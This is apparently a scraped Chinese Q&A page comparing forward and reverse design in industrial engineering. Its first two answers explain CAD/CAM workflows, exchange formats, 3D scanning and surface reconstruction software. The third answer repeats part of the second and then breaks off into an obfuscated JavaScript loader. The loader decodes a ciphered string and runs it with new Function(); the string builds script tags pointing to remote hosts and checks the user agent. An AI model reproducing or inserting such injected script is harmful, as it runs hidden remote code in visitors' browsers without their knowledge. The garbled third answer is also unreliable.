正向设计与逆向设计

2024-11-11 01:13:53
推荐回答(3个)
回答(1):

  传统以来,工业产品的开发均是循著序列严谨的研发流程,从功能与规格的预期指标确定开始,构思产品的零组件需求,再由各个元件的设计、制造以及检验零组件组装、检验整机组装、性能测试等程序来完成。每个元件都保留有原始的设计图,此设计图目前已广用CAD图档来保存。每个元件的加工也有所谓的工令图表,对复杂形状元件则以CAM软体产生NC加工档案来保存。每个元件的尺寸合格与否则以品管检验报告来记录。这些所记录的档案均属公司的智慧财产,一般通称机密 (Know - how)。这种开发模式称为预定模式(Prescriptive model),此类开发工程亦通称为顺向工程(ForWard Engineering)。对每一元件来说,其顺向工程的流程。
  然而,随著工业技术的提升以及经济环境的成长,任何通用性产品在消费者高品质要求之下,功能上的需求已不再是赢得市场竞争力的唯一条件。在近代高功能CAE软体的带动下,『工业设计』(又称『产品设计』)的新兴领域已逐渐受到重视,任何产品不仅是功能上要求先进,其物件外观 (Object appearance)上也需要做造型设计,以吸引消费者的注意力。此造型设计多针对产品的外形美观化来处理,在顺向工程的流程中已不是传统训练下的机械工程师们所能胜任。一些具有美工背景的设计师们可利用CAE的技巧构想出创新的美观外型,再以手工方式塑造出模型,如木模、石膏模、黏土模、蜡模、工程塑胶模、玻璃纤维模等等,然而再以三维尺寸量测的方式建立出自由曲面模型的CAD图档。这个程序已有逆向工程的观念,但仍属顺向工程的一环,具物件导向(Object -oriented)的观念,公司仍保有设计图的智慧财产。此顺向工程中的造型设计流程如图2-2所示。
  因此,顺向工程可归纳为:功能导向(Functionally-oriented)以及物件导向(Object-oriented)、预定模式 (Prescriptive model)、系统开发(System to-be)、以及所属权的系统 (Legacysystem)。

  在还没有电脑绘图以前,工程图大多是由手绘制的,此时的工程图以2D草图为主要的施工图,组装部分则以爆炸图来描述3D的立体结构,在此时,2D与3D式分开独立绘制,因此还称不上所谓的正向工程。电脑科技在硬体与软体慢慢发展成熟后,利用电脑绘图来取代手工绘图,此过程中,由电脑所绘制的2D图档,经由适当的排列后,可以方便3D立体图的绘制,此种将概念与尺寸表达在2D平面图上(早期师傅大多只看得懂2D 的平面图),然后利用2D的图素与相关尺寸,绘制成3D立体图,此过程可以说是一种正向工程。

  2D草图→3D立体图

  l 2D平面图档:一般而言,在工业界最常用到的软体以AUTOCAD_XX为主要绘图软体如(FIG.1-1)。当然其他知名的软体有CADKEY,PRO_E,CATIA…等等。

  l 转档:如果是由同一套软体在不同的模组间,分别绘制2D平面图(2D绘图模组),绘制完成后,继续进行3D立体图的建构,由於是在同一个软体的作业平台上,因此没有转档上的问题。很不幸的,没有一套软体在所有的专业应用上,有绝对的强大功能;例如在平面工程图的绘制,利用AUTOCAD来进行,专业的绘图员就可以将其用的相当好,虽然AUTOCAD也可以绘制较规则如机械零件3D的立体图,一但遇到较复杂的曲面变化,这时候可能使用专业的3D绘图软体会有更高的效率,我们就会遇到图档之间的转换问题,就 2D的图档交换格式,较通用的是副档名为DXF,DWG...等等,而3度空间的图形交换图档格式为IGES。

  DXF: 在不同软体之间,2D的图形交换档。

  DWG: 副档名为此的图档为AutoCad专属的图档。

  IGES: (Initial Graphics Exchange Specification) 在不同软体之

  间,2D与3D的图形交换档。

  l 商业用的CAD/CAM软体:以应用的功能而言,一般我们可以将其区分为参数式与非参数式的CAD/CAM软体;SRUFACE架构与SOLID架构的CAD/CAM软体。

  参数式CAD/CAM软体:PRO_E、UG、CATIA…

  非参数式CAD/CAM软体:EUCLID、STRIM100…

  SRUFACE架构CAD/CAM软体:EUCLID、STRIM100…如图(FIG:1-2)

  SOLID架构CAD/CAM软体:PRO_E、UG、CATIA…

  创意设计(原厂之产品设计)

  标准机械元件设计

  造形设计(运动鞋之绘制方法)

  何谓逆向工程?

  l 缘由

  逆向工程 (Reverse Engineering)通常是以专案方式执行一模型的仿制工作。往往一件拟制作的产品没有原始设计图档,而是委托单位交付一件样品或模型,如木鞋模、高尔夫球头,请制作单位复制(Copy)出来。传统的复制方法是用立体雕刻机或液压三次元靠模铣床制作出一比一成等比例的模具,如图2-3所示,再进行量产。这种方法属称类比式 (Analog type)复制,无法建立工件尺寸图档,也无法做任何的外形修改,已渐渐为新型式数位化的逆向工程系统所取代。
  目前所称的逆向工程是针对一现有工件 (样品或模型)利用3D数位化量测仪器准确、快速的将轮廓座标量得,并加以建构曲面、编辑、修改后,传至一般的CAD/CAM系统,再由CAM所产生刀贝的NC加工路径送至CNC加工机制作所需模具,或者送到快速成型机(Rapid Prototyping)将样品模型制作出来,此一流程称为逆向工程,如图2-4所示。
  因此,逆向工程可归纳为:功能导向 (Functionally-oriented)、描述模式(Descriptive mode)、系统仿造(System as-is)、以及非所属数系统 (Non-legacy system)。

回答(2):

工业设计师在进行产品的造型设计时,所采用的方法一种是正向设计法,这是一个从概念设计起步到CAD建模、数控编程、数控加工的过程,如图1所示。这一设计过程难度系数大、周期较长、成本高、不利于产品的研制开发。

产品造型设计的正向设计流程示意:概念设计 → CAD/CAM系统 → 制造系统 → 新产品

l 产品逆向设计的产生与应用

在飞机、汽车、工艺美术品和模具等行业的设计和制造中,通常是由复杂的自由曲面拼接而成,因此在概念设计阶段难以用严密、统一的数学语言来描述。这些产品的初始模型是通过对事先制造出的木制或泥制模型来实现数字化产生的。近年来在产品造型设计中逐渐走向成熟形成逆向设计法。

由于产品造型的逆向设计有起点高、成本低、周期短、易改型、易创新的特性,自出现以来便受到了现代工业设计师的关注。目前该技术在下面几方面得到了广泛应用:a.用于汽车、摩托车等具有较复杂曲面外型产品的修复与改型设计中;b.用于设计与制造个性化的产品,如人体拟合、太空服装设计、假肢设计等;c.根据客户样件进行模具设计时,该项技术可使自动化程度大大提高;d.在样件缺少图形文件时,可用逆向设计来生成图形文件:e.在快速原形制造中逆向设计可实现原形产品的快速准确建模并进行重新设计。

2 产品逆向设计的过程及其关键问题

产品的逆向设计是指设计师对产品实物样件表面进行数字化处理(数据采集、数据处理),并利用可实现逆向三维造型设计的软件来重新构造实物的CAD模型(曲面模型重构),并进一步用CAD/CAE/CAM系统实现分析、再设计、数控编程、数控加工的过程。

逆向设计的流程示意:

产品样件 → 数据采集 → 数据处理CAD/CAE/CAM系统 → 模型重构 → 制造系统 → 新产品

在逆向设计中数据采集、数据处理、模型重构是产品造型设计逆向设计的三大关键环节。

数据采集(样件的表面数字化)是进行产品逆向设计的第一步。一般而言。数据采集可由接触式与非接触式两种来实现。接触式方法由于对物体的表面的颜色和光照没有要求。因此物体边界的测量相对精确,但对软质材料适应差且速度慢;而非接触式方式(以激光为媒介的非接触三维表面数据采集法)在采集实物模型的表面资料时,采集速度快,可形成“点云”资料,缺点是精度较低而且对样件表面和光照有较高的要求。

数据处理的结果将影响模型重构的质量。在此阶段一般应进行数据预处理、数据分块、数据光顺、三角化、数据优化、多视拼合、噪声滤波、拓扑建立、特征提取等工作。

模型重构方案目前主要有三种:1)以B-Spline或NURBS曲面为基础的曲面构造法;2)以三角Bezier曲面片为基础的曲面构造法;3)以多面体面片为基础的曲面构造法。

3 几种用于逆向设计的应用软件

目前,在国际市场上已出现了一些用于产品逆向设计的应用软件,如美国Imageware公司的Surfacer7.1,英国Renishaw公司的TRACE,英国MDTV公司的STRIM and Surface Reconstruction等,英国DelCAM公司产品CopyCAD;此外,一些CAD/CAM系统。如美国PTC公司的Pro;Engineer 2000i、美国UGS公司的Unigraphics与美国IBM公司的CATIA等在其系统中也集成了可实现逆向三维造型设计的模块,但与专业的逆向工程软件比较在功能上有较大局限性。例如:Surfaccr7.1逆向设计软件可方便的实现下面几项功能:1)接受不同来源的扫描资料点的分析与处理。如CMM.Laser,sensors,Ultrasound等;2)快速、准确地将扫描点转换成NURBS曲面;3)对曲面模型的精度、品质进行评价;4)对曲线、曲面的形状实现交互修改。在产品的曲面模型重建时。Surfacer7.1不需经过建造曲线来构造曲面而是直接由扫描点来直接产生曲面;或采用建立周边曲线再用该边界与其内部的扫描点群来产生曲面;也可首先在扫描点群中构造NURBS曲线,再由曲线来产生曲面。

祝你好运!

回答(3):

业设计师在进行产品的造型设计时,所采用的方法一种是正向设计法,这是一个从概念设计起步到CAD建模、数控编程、数控加工的过程,如图1所示。这一设计过程难度系数大、周期较长、成本高、不利于产品的研制开发。

产品造型设计的正向设计流程示意:概念设计 → CAD/CAM系统 → 制造系统 → 新产品

l 产品逆向设计的产生与应用

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();